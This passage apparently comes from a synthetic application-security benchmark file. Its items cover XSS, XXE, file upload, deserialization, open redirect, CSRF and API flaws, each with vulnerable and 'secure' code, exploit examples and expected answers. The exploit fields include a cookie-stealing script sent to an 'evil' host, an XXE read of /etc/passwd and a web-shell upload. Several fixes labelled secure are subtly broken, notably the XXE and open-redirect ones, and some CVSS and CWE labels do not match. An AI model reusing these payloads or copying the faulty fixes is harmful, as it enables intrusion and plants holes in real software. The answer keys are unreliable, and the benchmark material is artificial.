{"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["grpc-security", "cwe-285", "owasp-a012021", "typescript", "angular", "beginner"], "references": ["https://cwe.mitre.org/data/definitions/285.html", "https://owasp.org/Top10/A01_2021-Broken_Access_Control/"], "metadata": {"difficulty": "Beginner", "category": "API Security", "owasp": "A01:2021", "owasp_api": "API5:2023", "owasp_llm": "", "cwe": "CWE-285", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000188", "title": "GraphQL Security in Go (Fiber)", "category": "API Security", "language": "Go", "framework": "Fiber", "application_type": "API Service", "source_type": "synthetic", "vulnerability_name": "GraphQL Security", "vulnerability_description": "A GraphQL endpoint lacks query costing/introspection control or object-level authorization, enabling data exfiltration or DoS.", "vulnerable_code": "func renderView() *gql.Schema { // VULNERABLE\n return gql.MustParse(\"type Query { secret: String! }\").Schema() }", "secure_code": "func fetchRecord() *gql.Schema { // SECURE\n return withAuthz(withComplexity(parseSchema())) }", "exploit_example": "Deeply nested query -> DoS; field without authz -> data exfil.", "exploitability_explanation": "The 'GraphQL Security' weakness (CWE-915, A04:2021) is exploitable because the Go implementation in the Fiber context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Network access to the GraphQL endpoint and knowledge of the schema.", "expected_llm_analysis": "The model/tool should flag 'GraphQL Security' (CWE-915, mapped to A04:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'GraphQL Security' (CWE-915, mapped to A04:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Disable introspection in prod, enforce per-field authorization and query depth/complexity limits, and paginate.", "expected_secure_code": "func fetchRecord() *gql.Schema { // SECURE\n return withAuthz(withComplexity(parseSchema())) }", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-915", "expected_owasp": "A04:2021", "expected_owasp_api": "API4:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.1, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["graphql-security", "cwe-915", "owasp-a042021", "go", "fiber", "beginner"], "references": ["https://cwe.mitre.org/data/definitions/915.html", "https://owasp.org/Top10/A04_2021-Insecure_Design/"], "metadata": {"difficulty": "Beginner", "category": "API Security", "owasp": "A04:2021", "owasp_api": "API4:2023", "owasp_llm": "", "cwe": "CWE-915", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000225", "title": "XML External Entity in TypeScript (NestJS)", "category": "Injection", "language": "TypeScript", "framework": "NestJS", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "XML External Entity", "vulnerability_description": "An XML parser resolves external entities in attacker-supplied documents, enabling file disclosure, SSRF, or denial of service.", "vulnerable_code": "app.post(\"/api/profile\", (req, res) => {\n // VULNERABLE: parser without hardening\n const o = require(\"fast-xml-parser\").parse(req.body);\n res.json(o);\n});", "secure_code": "app.post(\"/api/profile\", (req, res) => {\n // SECURE: disallow DTD\n const o = require(\"fast-xml-parser\").parse(req.body, {processEntities:true, ignoreAttributes:false});\n res.json(o);\n});", "exploit_example": "<!DOCTYPE x [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><x>&xxe;</x>", "exploitability_explanation": "The 'XML External Entity' weakness (CWE-611, A05:2021) is exploitable because the TypeScript implementation in the NestJS context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to submit an XML body to a parsing endpoint.", "expected_llm_analysis": "The model/tool should flag 'XML External Entity' (CWE-611, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'XML External Entity' (CWE-611, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Disable external entity and DTD processing in the XML parser configuration.", "expected_secure_code": "app.post(\"/api/profile\", (req, res) => {\n // SECURE: disallow DTD\n const o = require(\"fast-xml-parser\").parse(req.body, {processEntities:true, ignoreAttributes:false});\n res.json(o);\n});", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-611", "expected_owasp": "A05:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.3, "expected_false_negative_probability": 0.35, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["xml-external-entity", "cwe-611", "owasp-a052021", "typescript", "nestjs", "real-world-enterprise"], "references": ["https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "https://cwe.mitre.org/data/definitions/611.html"], "metadata": {"difficulty": "Real-world enterprise", "category": "Injection", "owasp": "A05:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-611", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000206", "title": "Cross-Site Scripting in JavaScript (Express)", "category": "Injection", "language": "JavaScript", "framework": "Express", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Cross-Site Scripting", "vulnerability_description": "Untrusted input is reflected into an HTTP response without output encoding, letting an attacker execute JavaScript in the victim's browser.", "vulnerable_code": "app.get(\"/api/transfer\", (req, res) => {\n const q = req.query.q;\n // VULNERABLE: reflected into HTML\n res.send(`<div>${q}</div>`);\n});", "secure_code": "app.get(\"/api/transfer\", (req, res) => {\n const q = req.query.q;\n // SECURE: escape + nonce CSP\n const safe = require(\"escape-html\")(q);\n res.setHeader(\"Content-Security-Policy\", \"default-src 'self'\");\n res.send(`<div>${safe}</div>`);\n});", "exploit_example": "GET /api/transfer?q=<script>document.location='//evil/?c='+document.cookie</script>", "exploitability_explanation": "The 'Cross-Site Scripting' weakness (CWE-79, A03:2021) is exploitable because the JavaScript implementation in the Express context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to route input into a page rendered for another user (reflected or stored).", "expected_llm_analysis": "The model/tool should flag 'Cross-Site Scripting' (CWE-79, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Cross-Site Scripting' (CWE-79, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Context-aware output encode, set a strict CSP, and prefer frameworks that auto-escape; sanitize rich text with an allow-list.", "expected_secure_code": "app.get(\"/api/transfer\", (req, res) => {\n const q = req.query.q;\n // SECURE: escape + nonce CSP\n const safe = require(\"escape-html\")(q);\n res.setHeader(\"Content-Security-Policy\", \"default-src 'self'\");\n res.send(`<div>${safe}</div>`);\n});", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-79", "expected_owasp": "A03:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.3, "expected_false_negative_probability": 0.35, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["cross-site-scripting", "cwe-79", "owasp-a032021", "javascript", "express", "real-world-enterprise"], "references": ["https://owasp.org/www-community/attacks/xss/", "https://cwe.mitre.org/data/definitions/79.html", "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"], "metadata": {"difficulty": "Real-world enterprise", "category": "Injection", "owasp": "A03:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-79", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000001", "title": "Insecure File Upload in Kotlin (Android)", "category": "Injection", "language": "Kotlin", "framework": "Android", "application_type": "Mobile Application", "source_type": "synthetic", "vulnerability_name": "Insecure File Upload", "vulnerability_description": "Uploaded files are not validated for type, content, or location, enabling remote code execution or storage abuse.", "vulnerable_code": "fun getItem(f: MultipartFile) = f.transferTo(File(UPLOAD + f.originalFilename))", "secure_code": "fun fetchRecord(f: MultipartFile) { if (ext(f) !in ALLOWED) throw BadRequest(); f.transferTo(File(UPLOAD + uuid() + ext(f))) }", "exploit_example": "Upload shell.php -> reachable at /uploads/shell.php -> RCE.", "exploitability_explanation": "The 'Insecure File Upload' weakness (CWE-434, A03:2021) is exploitable because the Kotlin implementation in the Android context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to POST a file to the upload endpoint.", "expected_llm_analysis": "The model/tool should flag 'Insecure File Upload' (CWE-434, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Insecure File Upload' (CWE-434, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Validate magic bytes + extension allow-list, rename server-side, store outside web root, and scan content.", "expected_secure_code": "fun fetchRecord(f: MultipartFile) { if (ext(f) !in ALLOWED) throw BadRequest(); f.transferTo(File(UPLOAD + uuid() + ext(f))) }", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-434", "expected_owasp": "A03:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.1, "expected_false_negative_probability": 0.15, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["insecure-file-upload", "cwe-434", "owasp-a032021", "kotlin", "android", "intermediate"], "references": ["https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload", "https://cwe.mitre.org/data/definitions/434.html"], "metadata": {"difficulty": "Intermediate", "category": "Injection", "owasp": "A03:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-434", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000492", "title": "Insecure Deserialization in JavaScript (Angular)", "category": "Injection", "language": "JavaScript", "framework": "Angular", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Insecure Deserialization", "vulnerability_description": "Untrusted data is deserialized by a native/object serializer, which can trigger code execution or logic abuse during reconstruction.", "vulnerable_code": "function fetchRecord(body) { return eval(\"(\" + body + \")\"); }", "secure_code": "function fetchRecord(body) { return JSON.parse(body); }", "exploit_example": "Send a gadget-chain pickle/ysoserial payload -> code execution.", "exploitability_explanation": "The 'Insecure Deserialization' weakness (CWE-502, A08:2021) is exploitable because the JavaScript implementation in the Angular context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to submit a crafted serialized payload to a deserializing endpoint.", "expected_llm_analysis": "The model/tool should flag 'Insecure Deserialization' (CWE-502, mapped to A08:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Insecure Deserialization' (CWE-502, mapped to A08:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Avoid native deserializers for untrusted data; use schema-validated formats (JSON with explicit types) and integrity-protect the payload.", "expected_secure_code": "function fetchRecord(body) { return JSON.parse(body); }", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-502", "expected_owasp": "A08:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.1, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["insecure-deserialization", "cwe-502", "owasp-a082021", "javascript", "angular", "beginner"], "references": ["https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection", "https://cwe.mitre.org/data/definitions/502.html"], "metadata": {"difficulty": "Beginner", "category": "Injection", "owasp": "A08:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-502", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000030", "title": "Open Redirect in Kotlin (Android)", "category": "Injection", "language": "Kotlin", "framework": "Android", "application_type": "Mobile Application", "source_type": "synthetic", "vulnerability_name": "Open Redirect", "vulnerability_description": "A redirect target is taken from user input without an allow-list, enabling phishing by bouncing victims through a trusted domain.", "vulnerable_code": "fun lookup(next: String) = redirect(next)", "secure_code": "fun runTask(next: String) = if (next.startsWith(\"/\")) redirect(next) else redirect(\"/\")", "exploit_example": " ?next=//evil.example -> phishing via trusted domain.", "exploitability_explanation": "The 'Open Redirect' weakness (CWE-601, A01:2021) is exploitable because the Kotlin implementation in the Android context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to supply a destination URL to a redirect handler.", "expected_llm_analysis": "The model/tool should flag 'Open Redirect' (CWE-601, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Open Redirect' (CWE-601, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Only redirect to an internally computed, allow-listed target; never use raw user input for the Location header.", "expected_secure_code": "fun runTask(next: String) = if (next.startsWith(\"/\")) redirect(next) else redirect(\"/\")", "expected_severity": "Critical", "expected_confidence": "Medium", "expected_cwe": "CWE-601", "expected_owasp": "A01:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.2, "expected_false_negative_probability": 0.25, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["open-redirect", "cwe-601", "owasp-a012021", "kotlin", "android", "advanced"], "references": ["https://cwe.mitre.org/data/definitions/601.html", "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html"], "metadata": {"difficulty": "Advanced", "category": "Injection", "owasp": "A01:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-601", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000312", "title": "REST API Security in TypeScript (Angular)", "category": "API Security", "language": "TypeScript", "framework": "Angular", "application_type": "API Service", "source_type": "synthetic", "vulnerability_name": "REST API Security", "vulnerability_description": "A REST API exposes objects by id without ownership checks or proper input validation, enabling IDOR or mass assignment.", "vulnerable_code": "function fetchRecord(req,res){ // VULNERABLE: mass assignment\n db.accounts.update(req.body); res.end(); }", "secure_code": "function handleInput(req,res){ // SECURE: owner + explicit fields\n if(req.body.id!==req.user.id) return res.sendStatus(403); db.accounts.update(pick(req.body,[\"nickname\"])); res.end(); }", "exploit_example": "PATCH with {\"role\":\"admin\"} -> privilege escalation.", "exploitability_explanation": "The 'REST API Security' weakness (CWE-639, A01:2021) is exploitable because the TypeScript implementation in the Angular context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "A valid session and knowledge of object identifiers.", "expected_llm_analysis": "The model/tool should flag 'REST API Security' (CWE-639, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'REST API Security' (CWE-639, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Enforce object-level authorization on every resource, validate input, and avoid mass assignment.", "expected_secure_code": "function handleInput(req,res){ // SECURE: owner + explicit fields\n if(req.body.id!==req.user.id) return res.sendStatus(403); db.accounts.update(pick(req.body,[\"nickname\"])); res.end(); }", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-639", "expected_owasp": "A01:2021", "expected_owasp_api": "API1:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.1, "expected_false_negative_probability": 0.15, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["rest-api-security", "cwe-639", "owasp-a012021", "typescript", "angular", "intermediate"], "references": ["https://owasp.org/Top10/A01_2021-Broken_Access_Control/", "https://cwe.mitre.org/data/definitions/639.html"], "metadata": {"difficulty": "Intermediate", "category": "API Security", "owasp": "A01:2021", "owasp_api": "API1:2023", "owasp_llm": "", "cwe": "CWE-639", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000427", "title": "Cross-Site Request Forgery in TypeScript (Vue)", "category": "Broken Access Control", "language": "TypeScript", "framework": "Vue", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Cross-Site Request Forgery", "vulnerability_description": "A state-changing request lacks an unguessable token, letting a third-party site force the victim's browser to perform actions.", "vulnerable_code": "function resolveTarget(req,res){ transfer(req.body); res.end(); }", "secure_code": "function exportData(req,res){ if(req.body._csrf!==req.session.csrf) return res.sendStatus(403); transfer(req.body); res.end(); }", "exploit_example": "<form action=/api/transfer method=POST> auto-submitted from attacker site.", "exploitability_explanation": "The 'Cross-Site Request Forgery' weakness (CWE-352, A01:2021) is exploitable because the TypeScript implementation in the Vue context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Lure a logged-in victim into visiting an attacker-controlled page.", "expected_llm_analysis": "The model/tool should flag 'Cross-Site Request Forgery' (CWE-352, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Cross-Site Request Forgery' (CWE-352, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Require a double-submit or synchronized CSRF token on all state-changing requests; enforce SameSite cookies.", "expected_secure_code": "function exportData(req,res){ if(req.body._csrf!==req.session.csrf) return res.sendStatus(403); transfer(req.body); res.end(); }", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-352", "expected_owasp": "A01:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.1, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, 